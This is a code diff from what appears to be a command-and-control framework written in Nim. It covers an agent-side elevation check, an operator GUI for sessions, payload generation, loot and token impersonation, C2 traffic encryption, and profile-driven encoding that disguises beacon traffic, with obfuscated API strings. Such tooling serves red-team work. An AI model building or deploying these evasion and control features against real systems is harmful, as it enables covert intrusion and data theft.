pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
|
||||
pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(hNtdll, protect("NtQueryInformationToken")))
|
||||
|
||||
var
|
||||
status: NTSTATUS = 0
|
||||
hToken: HANDLE
|
||||
returnLength: ULONG = 0
|
||||
pElevation: TOKEN_ELEVATION
|
||||
|
||||
# https://ntdoc.m417z.com/ntopenthreadtoken
|
||||
status = pNtOpenThreadToken(cast[HANDLE](-2), TOKEN_QUERY, TRUE, addr hToken)
|
||||
if status != STATUS_SUCCESS:
|
||||
status = pNtOpenProcessToken(cast[HANDLE](-1), TOKEN_QUERY, addr hToken)
|
||||
if status != STATUS_SUCCESS:
|
||||
return FALSE
|
||||
|
||||
# Get elevation
|
||||
status = pNtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
|
||||
if status != STATUS_SUCCESS:
|
||||
return FALSE
|
||||
|
||||
return cast[bool](pElevation.TokenIsElevated)
|
||||
|
||||
#[
|
||||
Spawn+Inject Functions
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
import whisky
|
||||
import tables, times, strutils, strformat, json, parsetoml, base64, native_dialogs
|
||||
import tables, times, strutils, strformat, json, base64, native_dialogs
|
||||
import ./utils/[appImGui, globals]
|
||||
import ./views/[dockspace, sessions, listeners, eventlog, console]
|
||||
import ./views/loot/[screenshots, downloads]
|
||||
import ./views/modals/generatePayload
|
||||
import ../common/[types, utils, crypto]
|
||||
import ../common/[types, utils, profile, crypto]
|
||||
import ./core/websocket
|
||||
|
||||
proc main(ip: string = "localhost", port: int = 37573) =
|
||||
@@ -73,119 +73,118 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
||||
#[
|
||||
WebSocket communication with the team server
|
||||
]#
|
||||
# Continuously send heartbeat messages
|
||||
connection.ws.sendHeartbeat()
|
||||
|
||||
# Receive and parse websocket response message
|
||||
try:
|
||||
let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey)
|
||||
case event.eventType:
|
||||
of CLIENT_KEY_EXCHANGE:
|
||||
connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
|
||||
connection.sendPublicKey(clientKeyPair.publicKey)
|
||||
wipeKey(clientKeyPair.privateKey)
|
||||
# Receive and parse websocket response message
|
||||
let message = connection.ws.receiveMessage(timeout = 16) # Use a 16ms timeout to reduce CPU load = ~60FPS
|
||||
if message.isSome():
|
||||
let event = recvEvent(message.get(), connection.sessionKey)
|
||||
case event.eventType:
|
||||
of CLIENT_KEY_EXCHANGE:
|
||||
connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
|
||||
connection.sendPublicKey(clientKeyPair.publicKey)
|
||||
wipeKey(clientKeyPair.privateKey)
|
||||
|
||||
of CLIENT_PROFILE:
|
||||
profile = parsetoml.parseString(event.data["profile"].getStr())
|
||||
|
||||
of CLIENT_LISTENER_ADD:
|
||||
let listener = event.data.to(UIListener)
|
||||
listenersTable.listeners.add(listener)
|
||||
|
||||
of CLIENT_AGENT_ADD:
|
||||
let agent = event.data.to(UIAgent)
|
||||
|
||||
# The ImGui Multi Select only works well with seq's, so we maintain a
|
||||
# separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access
|
||||
sessionsTable.agents.add(agent)
|
||||
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
|
||||
|
||||
if not agent.impersonationToken.isEmptyOrWhitespace():
|
||||
sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
|
||||
|
||||
# Initialize position of console windows to bottom by drawing them once when they are added
|
||||
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
|
||||
# so if you place your listeners somewhere else, the console windows show up somewhere else too
|
||||
# The only case that is not covered is when the listeners table is hidden and the bottom panel was split
|
||||
var agentConsole = Console(agent)
|
||||
consoles[agent.agentId] = agentConsole
|
||||
let listenersWindow = igFindWindowByName(WIDGET_LISTENERS)
|
||||
if listenersWindow != nil and listenersWindow.DockNode != nil:
|
||||
igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32)
|
||||
else:
|
||||
igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
|
||||
consoles[agent.agentId].draw(connection)
|
||||
consoles[agent.agentId].showConsole = false
|
||||
|
||||
of CLIENT_AGENT_CHECKIN:
|
||||
sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp
|
||||
|
||||
of CLIENT_AGENT_PAYLOAD:
|
||||
let payload = decode(event.data["payload"].getStr())
|
||||
try:
|
||||
let path = callDialogFileSave("Save Payload")
|
||||
writeFile(path, payload)
|
||||
except IOError:
|
||||
discard
|
||||
|
||||
# Close and reset the payload generation modal window when the payload was received
|
||||
listenersTable.generatePayloadModal.resetModalValues()
|
||||
igClosePopupToLevel(0, false)
|
||||
|
||||
of CLIENT_CONSOLE_ITEM:
|
||||
let agentId = event.data["agentId"].getStr()
|
||||
consoles[agentId].console.addItem(
|
||||
cast[LogType](event.data["logType"].getInt()),
|
||||
event.data["message"].getStr(),
|
||||
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
||||
)
|
||||
|
||||
of CLIENT_EVENTLOG_ITEM:
|
||||
eventlog.textarea.addItem(
|
||||
cast[LogType](event.data["logType"].getInt()),
|
||||
event.data["message"].getStr(),
|
||||
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
||||
)
|
||||
|
||||
of CLIENT_BUILDLOG_ITEM:
|
||||
listenersTable.generatePayloadModal.buildLog.addItem(
|
||||
cast[LogType](event.data["logType"].getInt()),
|
||||
event.data["message"].getStr(),
|
||||
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
||||
)
|
||||
|
||||
of CLIENT_LOOT_ADD:
|
||||
let lootItem = event.data.to(LootItem)
|
||||
case lootItem.itemType:
|
||||
of DOWNLOAD:
|
||||
lootDownloads.items.add(lootItem)
|
||||
of SCREENSHOT:
|
||||
lootScreenshots.items.add(lootItem)
|
||||
else: discard
|
||||
|
||||
of CLIENT_LOOT_DATA:
|
||||
let
|
||||
lootItem = event.data["loot"].to(LootItem)
|
||||
data = decode(event.data["data"].getStr())
|
||||
of CLIENT_PROFILE:
|
||||
profile = parseString(event.data["profile"].getStr())
|
||||
|
||||
case lootItem.itemType:
|
||||
of DOWNLOAD:
|
||||
lootDownloads.contents[lootItem.lootId] = data
|
||||
of SCREENSHOT:
|
||||
lootScreenshots.addTexture(lootItem.lootId, data)
|
||||
of CLIENT_LISTENER_ADD:
|
||||
let listener = event.data.to(UIListener)
|
||||
listenersTable.listeners.add(listener)
|
||||
|
||||
of CLIENT_AGENT_ADD:
|
||||
let agent = event.data.to(UIAgent)
|
||||
|
||||
# The ImGui Multi Select only works well with seq's, so we maintain a
|
||||
# separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access
|
||||
sessionsTable.agents.add(agent)
|
||||
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
|
||||
|
||||
if not agent.impersonationToken.isEmptyOrWhitespace():
|
||||
sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
|
||||
|
||||
# Initialize position of console windows to bottom by drawing them once when they are added
|
||||
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
|
||||
# so if you place your listeners somewhere else, the console windows show up somewhere else too
|
||||
# The only case that is not covered is when the listeners table is hidden and the bottom panel was split
|
||||
var agentConsole = Console(agent)
|
||||
consoles[agent.agentId] = agentConsole
|
||||
let listenersWindow = igFindWindowByName(WIDGET_LISTENERS)
|
||||
if listenersWindow != nil and listenersWindow.DockNode != nil:
|
||||
igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32)
|
||||
else:
|
||||
igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
|
||||
consoles[agent.agentId].draw(connection)
|
||||
consoles[agent.agentId].showConsole = false
|
||||
|
||||
of CLIENT_AGENT_CHECKIN:
|
||||
sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp
|
||||
|
||||
of CLIENT_AGENT_PAYLOAD:
|
||||
let payload = decode(event.data["payload"].getStr())
|
||||
try:
|
||||
let path = callDialogFileSave("Save Payload")
|
||||
writeFile(path, payload)
|
||||
except IOError:
|
||||
discard
|
||||
|
||||
# Close and reset the payload generation modal window when the payload was received
|
||||
listenersTable.generatePayloadModal.resetModalValues()
|
||||
listenersTable.generatePayloadModal.show = false
|
||||
|
||||
of CLIENT_CONSOLE_ITEM:
|
||||
let agentId = event.data["agentId"].getStr()
|
||||
consoles[agentId].console.addItem(
|
||||
cast[LogType](event.data["logType"].getInt()),
|
||||
event.data["message"].getStr(),
|
||||
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
||||
)
|
||||
|
||||
of CLIENT_EVENTLOG_ITEM:
|
||||
eventlog.textarea.addItem(
|
||||
cast[LogType](event.data["logType"].getInt()),
|
||||
event.data["message"].getStr(),
|
||||
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
||||
)
|
||||
|
||||
of CLIENT_BUILDLOG_ITEM:
|
||||
listenersTable.generatePayloadModal.buildLog.addItem(
|
||||
cast[LogType](event.data["logType"].getInt()),
|
||||
event.data["message"].getStr(),
|
||||
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
||||
)
|
||||
|
||||
of CLIENT_LOOT_ADD:
|
||||
let lootItem = event.data.to(LootItem)
|
||||
case lootItem.itemType:
|
||||
of DOWNLOAD:
|
||||
lootDownloads.items.add(lootItem)
|
||||
of SCREENSHOT:
|
||||
lootScreenshots.items.add(lootItem)
|
||||
else: discard
|
||||
|
||||
of CLIENT_LOOT_DATA:
|
||||
let
|
||||
lootItem = event.data["loot"].to(LootItem)
|
||||
data = decode(event.data["data"].getStr())
|
||||
|
||||
case lootItem.itemType:
|
||||
of DOWNLOAD:
|
||||
lootDownloads.contents[lootItem.lootId] = data
|
||||
of SCREENSHOT:
|
||||
lootScreenshots.addTexture(lootItem.lootId, data)
|
||||
else: discard
|
||||
|
||||
of CLIENT_IMPERSONATE_TOKEN:
|
||||
let
|
||||
agentId = event.data["agentId"].getStr()
|
||||
impersonationToken = event.data["username"].getStr()
|
||||
sessionsTable.agentImpersonation[agentId] = impersonationToken
|
||||
|
||||
of CLIENT_REVERT_TOKEN:
|
||||
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
|
||||
|
||||
else: discard
|
||||
|
||||
of CLIENT_IMPERSONATE_TOKEN:
|
||||
let
|
||||
agentId = event.data["agentId"].getStr()
|
||||
impersonationToken = event.data["username"].getStr()
|
||||
sessionsTable.agentImpersonation[agentId] = impersonationToken
|
||||
|
||||
of CLIENT_REVERT_TOKEN:
|
||||
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
|
||||
|
||||
else: discard
|
||||
|
||||
# Draw/update UI components/views
|
||||
if showSessionsTable: sessionsTable.draw(addr showSessionsTable, connection)
|
||||
if showListeners: listenersTable.draw(addr showListeners, connection)
|
||||
@@ -202,12 +201,16 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
||||
console.draw(connection)
|
||||
newConsoleTable[agentId] = console
|
||||
|
||||
if sessionsTable.focusedConsole.len() > 0:
|
||||
igSetWindowFocus_Str(sessionsTable.focusedConsole.cstring)
|
||||
sessionsTable.focusedConsole = ""
|
||||
|
||||
# Update the consoles table with only those sessions that have not been closed yet
|
||||
# This is done to ensure that closed console windows can be opened again
|
||||
consoles = newConsoleTable
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] ", err.msg
|
||||
# echo "[-] ", err.msg
|
||||
discard
|
||||
|
||||
# render
|
||||
|
||||
@@ -34,7 +34,8 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
|
||||
|
||||
# Payload generation modal (only enabled when at least one listener is active)
|
||||
igBeginDisabled(component.listeners.len() <= 0)
|
||||
if igButton("Generate Payload", vec2(0.0f, 0.0f)):
|
||||
if igButton("Generate Payload", vec2(0.0f, 0.0f)):
|
||||
component.generatePayloadModal.show = true
|
||||
igOpenPopup_str("Generate Payload", ImGui_PopupFlags_None.int32)
|
||||
igEndDisabled()
|
||||
|
||||
|
||||
@@ -9,6 +9,7 @@ export addItem
|
||||
|
||||
type
|
||||
AgentModalComponent* = ref object of RootObj
|
||||
show*: bool
|
||||
listener: int32
|
||||
sleepDelay: uint32
|
||||
jitter: int32
|
||||
@@ -28,6 +29,7 @@ type
|
||||
|
||||
proc AgentModal*(): AgentModalComponent =
|
||||
result = new AgentModalComponent
|
||||
result.show = false
|
||||
result.listener = 0
|
||||
result.sleepDelay = 5
|
||||
result.jitter = 15
|
||||
@@ -96,11 +98,13 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
||||
let modalWidth = max(500.0f, vp.Size.x * 0.25)
|
||||
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
|
||||
|
||||
var show = true
|
||||
var show = component.show
|
||||
let windowFlags = ImGuiWindowFlags_None.int32 # or ImGuiWindowFlags_NoMove.int32
|
||||
if igBeginPopupModal("Generate Payload", addr show, windowFlags):
|
||||
defer: igEndPopup()
|
||||
|
||||
component.show = show
|
||||
|
||||
var availableSize: ImVec2
|
||||
igGetContentRegionAvail(addr availableSize)
|
||||
|
||||
@@ -234,7 +238,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
||||
killDate: if component.killDateEnabled: component.killDate else: 0,
|
||||
modules: modules
|
||||
)
|
||||
|
||||
|
||||
igEndDisabled()
|
||||
igSameLine(0.0f, textSpacing)
|
||||
|
||||
|
||||
@@ -15,6 +15,7 @@ type
|
||||
agentImpersonation*: Table[string, string]
|
||||
selection: ptr ImGuiSelectionBasicStorage
|
||||
consoles: ptr Table[string, ConsoleComponent]
|
||||
focusedConsole*: string
|
||||
|
||||
proc SessionsTable*(title: string, consoles: ptr Table[string, ConsoleComponent]): SessionsTableComponent =
|
||||
result = new SessionsTableComponent
|
||||
@@ -23,6 +24,7 @@ proc SessionsTable*(title: string, consoles: ptr Table[string, ConsoleComponent]
|
||||
result.agentActivity = initTable[string, int64]()
|
||||
result.selection = ImGuiSelectionBasicStorage_ImGuiSelectionBasicStorage()
|
||||
result.consoles = consoles
|
||||
result.focusedConsole = ""
|
||||
|
||||
proc cmp(x, y: UIAgent): int =
|
||||
return cmp(x.firstCheckin, y.firstCheckin)
|
||||
@@ -39,9 +41,7 @@ proc interact(component: SessionsTableComponent) =
|
||||
if not component.consoles[].hasKey(agent.agentId):
|
||||
component.consoles[][agent.agentId] = Console(agent)
|
||||
|
||||
# Focus the existing console window
|
||||
else:
|
||||
igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}".cstring)
|
||||
component.focusedConsole = fmt"[{agent.agentId}] {agent.username}@{agent.hostname}"
|
||||
|
||||
component.selection.ImGuiSelectionBasicStorage_Clear()
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@ import ./[types, utils]
|
||||
Symmetric AES256 GCM encryption for secure C2 traffic
|
||||
Ensures both confidentiality and integrity of the packet
|
||||
]#
|
||||
proc generateBytes*(T: typedesc[Key | Iv | Key16]): array =
|
||||
proc generateBytes*(T: typedesc[Key | Iv | KeyRC4]): array =
|
||||
var bytes: T
|
||||
if randomBytes(bytes) != sizeof(T):
|
||||
raise newException(CatchableError, protect("Failed to generate byte array."))
|
||||
@@ -57,7 +57,7 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
|
||||
Elliptic curve cryptography ensures that the actual session key is never sent over the network
|
||||
Private keys and shared secrets are wiped from agent memory as soon as possible
|
||||
]#
|
||||
{.compile: "monocypher/monocypher.c".}
|
||||
{.compile: protect("monocypher/monocypher.c").}
|
||||
|
||||
# C function imports from (monocypher/monocypher.c)
|
||||
proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.}
|
||||
|
||||
@@ -1,72 +1,146 @@
|
||||
import parsetoml, strutils, sequtils, random
|
||||
|
||||
import ./types
|
||||
|
||||
proc findKey(profile: Profile, path: string): TomlValueRef =
|
||||
let keys = path.split(".")
|
||||
let target = keys[keys.high]
|
||||
|
||||
var current = profile
|
||||
for i in 0 ..< keys.high:
|
||||
let temp = current.getOrDefault(keys[i])
|
||||
if temp == nil:
|
||||
return nil
|
||||
current = temp
|
||||
|
||||
return current.getOrDefault(target)
|
||||
import strutils, sequtils, random, base64, algorithm
|
||||
import ./[types, utils]
|
||||
import ./toml/toml
|
||||
export parseFile, parseString, free, getTableKeys, getRandom
|
||||
|
||||
# Takes a specific "."-separated path as input and returns a default value if the key does not exits
|
||||
# Example: cq.profile.getString("http-get.agent.heartbeat.prefix", "not found") returns the string value of the
|
||||
# prefix key, or "not found" if the target key or any sub-tables don't exist
|
||||
# '#' characters represent wildcard characters and are replaced with a random alphanumerical character
|
||||
# '#' characters represent wildcard characters and are replaced with a random alphanumerical character (a-zA-Z0-9)
|
||||
# '$' characters are replaced with a random number (0-9)
|
||||
|
||||
#[
|
||||
Helper functions
|
||||
]#
|
||||
proc randomChar(): char =
|
||||
let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
return alphabet[rand(alphabet.len - 1)]
|
||||
|
||||
proc randomNumber(): char =
|
||||
let numbers = "0123456789"
|
||||
return numbers[rand(numbers.len - 1)]
|
||||
|
||||
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
|
||||
if values.len == 0:
|
||||
return nil
|
||||
return values[rand(values.len - 1)]
|
||||
|
||||
#[
|
||||
Wrapper functions
|
||||
]#
|
||||
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
|
||||
# In some cases, the profile can define multiple values for a key, e.g. for HTTP headers
|
||||
# A random entry is selected from these specifications
|
||||
var value: string = ""
|
||||
if key.kind == TomlValueKind.String:
|
||||
value = key.getStr(default)
|
||||
elif key.kind == TomlValueKind.Array:
|
||||
value = key.getElems().getRandom().getStr(default)
|
||||
if key.isNil or key.kind == None:
|
||||
return default
|
||||
|
||||
# Replace '#' with a random alphanumerical character and return the resulting string
|
||||
return value.mapIt(if it == '#': randomChar() else: it).join("")
|
||||
var value: string = ""
|
||||
if key.kind == String:
|
||||
value = key.strVal
|
||||
elif key.kind == Array:
|
||||
let randomElem = getRandom(key.arrayVal)
|
||||
if randomElem != nil and randomElem.kind == String:
|
||||
value = randomElem.strVal
|
||||
|
||||
# Replace '#' with random alphanumerical character
|
||||
# Replace '$' with a random digit
|
||||
return value.mapIt(if it == '#': randomChar() elif it == '$': randomNumber() else: it).join("")
|
||||
|
||||
proc getString*(profile: Profile, path: string, default: string = ""): string =
|
||||
proc getString*(profile: Profile, path: string, default: string = ""): string =
|
||||
let key = profile.findKey(path)
|
||||
if key == nil:
|
||||
return default
|
||||
return key.getStringValue(default)
|
||||
|
||||
proc getBool*(profile: Profile, path: string, default: bool = false): bool =
|
||||
proc getInt*(profile: Profile, path: string, default: int = 0): int =
|
||||
let key = profile.findKey(path)
|
||||
if key == nil:
|
||||
return default
|
||||
return key.getBool(default)
|
||||
|
||||
proc getInt*(profile: Profile, path: string, default = 0): int =
|
||||
let key = profile.findKey(path)
|
||||
if key == nil:
|
||||
return default
|
||||
return key.getInt(default)
|
||||
|
||||
proc getTable*(profile: Profile, path: string): TomlTableRef =
|
||||
proc getBool*(profile: Profile, path: string, default: bool = false): bool =
|
||||
let key = profile.findKey(path)
|
||||
return key.getBool(default)
|
||||
|
||||
proc getTable*(profile: Profile, path: string): TomlTableRef =
|
||||
let key = profile.findKey(path)
|
||||
if key == nil:
|
||||
return new TomlTableRef
|
||||
return key.getTable()
|
||||
|
||||
proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
|
||||
let key = profile.findKey(path)
|
||||
if key == nil:
|
||||
if key.kind != Array:
|
||||
return @[]
|
||||
return key.getElems()
|
||||
return key.getElems()
|
||||
|
||||
proc isArray*(profile: Profile, path: string): bool =
|
||||
let key = profile.findKey(path)
|
||||
return key.kind == Array
|
||||
|
||||
# Retrieve string or binary prefix
|
||||
proc getStringOrByteArray*(profile: Profile, path: string): string =
|
||||
result = ""
|
||||
if profile.isArray(path):
|
||||
for element in profile.getArray(path):
|
||||
result &= char(element.getInt())
|
||||
else:
|
||||
result = profile.getString(path)
|
||||
|
||||
#[
|
||||
Data transformation
|
||||
]#
|
||||
proc applyDataTransformation*(profile: Profile, path: string, data: seq[byte]): string =
|
||||
# 1. Encoding
|
||||
var steps: seq[TomlTableRef] = @[]
|
||||
|
||||
# Apply all encoding techniques in the order specified in the profile
|
||||
if profile.isArray(path & protect(".encoding")):
|
||||
for encoding in profile.getArray(path & protect(".encoding")):
|
||||
steps.add(encoding.getTable())
|
||||
else:
|
||||
steps = @[profile.getTable(path & protect(".encoding"))]
|
||||
|
||||
var dataString: string = Bytes.toString(data)
|
||||
for step in steps:
|
||||
case step.getTableValue(protect("type")).getStr(default = "none")
|
||||
of protect("base64"):
|
||||
dataString = encode(dataString, safe = step.getTableValue(protect("url-safe")).getBool()).replace("=", "")
|
||||
of protect("hex"):
|
||||
dataString = dataString.toHex().toLowerAscii()
|
||||
of protect("rot"):
|
||||
dataString = Bytes.toString(encodeRot(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 13)))
|
||||
of protect("xor"):
|
||||
dataString = Bytes.toString(xorBytes(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 1)))
|
||||
of protect("none"):
|
||||
discard
|
||||
|
||||
# 2. Add prefix & suffix
|
||||
let
|
||||
prefix = profile.getStringOrByteArray(path & protect(".prefix"))
|
||||
suffix = profile.getStringOrByteArray(path & protect(".suffix"))
|
||||
return prefix & dataString & suffix
|
||||
|
||||
proc reverseDataTransformation*(profile: Profile, path: string, data: string): seq[byte] =
|
||||
# 1. Remove prefix & suffix
|
||||
let
|
||||
prefix = profile.getStringOrByteArray(path & protect(".prefix"))
|
||||
suffix = profile.getStringOrByteArray(path & protect(".suffix"))
|
||||
var dataString = data[len(prefix) ..^ len(suffix) + 1]
|
||||
|
||||
# 2. Decoding
|
||||
var steps: seq[TomlTableRef] = @[]
|
||||
|
||||
# Apply all encoding techniques in reverse order
|
||||
if profile.isArray(path & protect(".encoding")):
|
||||
for encoding in profile.getArray(path & protect(".encoding")):
|
||||
steps.add(encoding.getTable())
|
||||
else:
|
||||
steps = @[profile.getTable(path & protect(".encoding"))]
|
||||
|
||||
for step in steps.reversed():
|
||||
case step.getTableValue(protect("type")).getStr(default = "none")
|
||||
of protect("base64"):
|
||||
dataString = decode(dataString)
|
||||
of protect("hex"):
|
||||
dataString = parseHexStr(dataString)
|
||||
of protect("rot"):
|
||||
dataString = Bytes.toString(decodeRot(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 13)))
|
||||
of protect("xor"):
|
||||
dataString = Bytes.toString(xorBytes(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 1)))
|
||||
of protect("none"):
|
||||
discard
|
||||
|
||||
return string.toBytes(dataString)
|
||||
1983
src/common/toml/toml.c
Normal file
1983
src/common/toml/toml.c
Normal file
File diff suppressed because it is too large
Load Diff
137
src/common/toml/toml.h
Normal file
137
src/common/toml/toml.h
Normal file
@@ -0,0 +1,137 @@
|
||||
#ifndef TOML_H
|
||||
#define TOML_H
|
||||
#ifdef _MSC_VER
|
||||
# pragma warning(disable : 4996)
|
||||
#endif
|
||||
#ifdef __cplusplus
|
||||
# define TOML_EXTERN extern "C"
|
||||
#else
|
||||
# define TOML_EXTERN extern
|
||||
#endif
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
|
||||
typedef struct toml_table_t toml_table_t;
|
||||
typedef struct toml_array_t toml_array_t;
|
||||
typedef struct toml_value_t toml_value_t;
|
||||
typedef struct toml_timestamp_t toml_timestamp_t;
|
||||
typedef struct toml_keyval_t toml_keyval_t;
|
||||
typedef struct toml_arritem_t toml_arritem_t;
|
||||
typedef struct toml_pos_t toml_pos_t;
|
||||
|
||||
// TOML table.
|
||||
struct toml_table_t {
|
||||
const char* key; // Key for this table
|
||||
int keylen; // length of key.
|
||||
bool implicit; // Table was created implicitly
|
||||
bool readonly; // No more modification allowed
|
||||
|
||||
int nkval; // key-values in the table
|
||||
toml_keyval_t** kval;
|
||||
int narr; // arrays in the table
|
||||
toml_array_t** arr;
|
||||
int ntbl; // tables in the table
|
||||
toml_table_t** tbl;
|
||||
};
|
||||
|
||||
// TOML array.
|
||||
struct toml_array_t {
|
||||
const char* key; // key to this array
|
||||
int keylen; // length of key.
|
||||
int kind; // element kind: 'v'alue, 'a'rray, or 't'able, 'm'ixed
|
||||
int type; // for value kind: 'i'nt, 'd'ouble, 'b'ool, 's'tring, 't'ime, 'D'ate, 'T'imestamp, 'm'ixed
|
||||
int nitem; // number of elements
|
||||
toml_arritem_t* item;
|
||||
};
|
||||
struct toml_arritem_t {
|
||||
int valtype; // for value kind: 'i'nt, 'd'ouble, 'b'ool, 's'tring, 't'ime, 'D'ate, 'T'imestamp
|
||||
char* val;
|
||||
toml_array_t* arr;
|
||||
toml_table_t* tbl;
|
||||
};
|
||||
|
||||
// TOML key/value pair.
|
||||
struct toml_keyval_t {
|
||||
const char* key; // key to this value
|
||||
int keylen; // length of key.
|
||||
const char* val; // the raw value
|
||||
};
|
||||
|
||||
// Token position.
|
||||
struct toml_pos_t {
|
||||
int line;
|
||||
int col;
|
||||
};
|
||||
|
||||
// Timestamp type; some values may be empty depending on the value of kind.
|
||||
struct toml_timestamp_t {
|
||||
// datetime type:
|
||||
//
|
||||
// 'd'atetime Full date + time + TZ
|
||||
// 'l'local-datetime Full date + time but without TZ
|
||||
// 'D'ate-local Date only, without TZ
|
||||
// 't'ime-local Time only, without TZ
|
||||
char kind;
|
||||
|
||||
int year, month, day;
|
||||
int hour, minute, second, millisec;
|
||||
int tz; // Timezone offset in minutes
|
||||
};
|
||||
|
||||
// Parsed TOML value.
|
||||
//
|
||||
// The string value s is a regular NULL-terminated C string, but the string
|
||||
// length is also given in sl since TOML values may contain NULL bytes. The
|
||||
// value is guaranteed to be correct UTF-8.
|
||||
struct toml_value_t {
|
||||
bool ok; // Was this value present?
|
||||
union {
|
||||
struct {
|
||||
char* s; // string value; must be freed after use.
|
||||
int sl; // string length, excluding NULL.
|
||||
};
|
||||
toml_timestamp_t ts; // datetime
|
||||
bool b; // bool
|
||||
int64_t i; // int
|
||||
double d; // double
|
||||
} u;
|
||||
};
|
||||
|
||||
// toml_parse() parses a TOML document from a string. Returns 0 on error, with
|
||||
// the error message stored in errbuf.
|
||||
//
|
||||
// toml_parse_file() is identical, but reads from a file descriptor.
|
||||
//
|
||||
// Use toml_free() to free the return value; this will invalidate all handles
|
||||
// for this table.
|
||||
TOML_EXTERN toml_table_t* toml_parse(char* toml, char* errbuf, int errbufsz);
|
||||
TOML_EXTERN toml_table_t* toml_parse_file(FILE* fp, char* errbuf, int errbufsz);
|
||||
TOML_EXTERN void toml_free(toml_table_t* table);
|
||||
|
||||
// Table functions.
|
||||
//
|
||||
// toml_table_len() gets the number of direct keys for this table;
|
||||
// toml_table_key() gets the nth direct key in this table.
|
||||
TOML_EXTERN int toml_table_len(const toml_table_t* table);
|
||||
TOML_EXTERN const char* toml_table_key(const toml_table_t* table, int keyidx, int* keylen);
|
||||
TOML_EXTERN toml_value_t toml_table_string(const toml_table_t* table, const char* key);
|
||||
TOML_EXTERN toml_value_t toml_table_bool(const toml_table_t* table, const char* key);
|
||||
TOML_EXTERN toml_value_t toml_table_int(const toml_table_t* table, const char* key);
|
||||
TOML_EXTERN toml_value_t toml_table_double(const toml_table_t* table, const char* key);
|
||||
TOML_EXTERN toml_value_t toml_table_timestamp(const toml_table_t* table, const char* key);
|
||||
TOML_EXTERN toml_array_t* toml_table_array(const toml_table_t* table, const char* key);
|
||||
TOML_EXTERN toml_table_t* toml_table_table(const toml_table_t* table, const char* key);
|
||||
|
||||
// Array functions.
|
||||
TOML_EXTERN int toml_array_len(const toml_array_t* array);
|
||||
TOML_EXTERN toml_value_t toml_array_string(const toml_array_t* array, int idx);
|
||||
TOML_EXTERN toml_value_t toml_array_bool(const toml_array_t* array, int idx);
|
||||
TOML_EXTERN toml_value_t toml_array_int(const toml_array_t* array, int idx);
|
||||
TOML_EXTERN toml_value_t toml_array_double(const toml_array_t* array, int idx);
|
||||
TOML_EXTERN toml_value_t toml_array_timestamp(const toml_array_t* array, int idx);
|
||||
TOML_EXTERN toml_array_t* toml_array_array(const toml_array_t* array, int idx);
|
||||
TOML_EXTERN toml_table_t* toml_array_table(const toml_array_t* array, int idx);
|
||||
|
||||
#endif // TOML_H
|
||||
301
src/common/toml/toml.nim
Normal file
301
src/common/toml/toml.nim
Normal file
@@ -0,0 +1,301 @@
|
||||
import random, strutils
|
||||
|
||||
# Wrapper for the toml-c library
|
||||
# Original: github.com/arp242/toml-c/
|
||||
|
||||
{.compile: "toml.c".}
|
||||
|
||||
type
|
||||
TomlKeyVal = object
|
||||
key: cstring
|
||||
keylen: cint
|
||||
val: cstring
|
||||
|
||||
TomlArrItem = object
|
||||
valtype: cint
|
||||
val: cstring
|
||||
arr: ptr TomlArray
|
||||
tbl: ptr TomlTable
|
||||
|
||||
TomlTable = object
|
||||
key: cstring
|
||||
keylen: cint
|
||||
implicit: bool
|
||||
readonly: bool
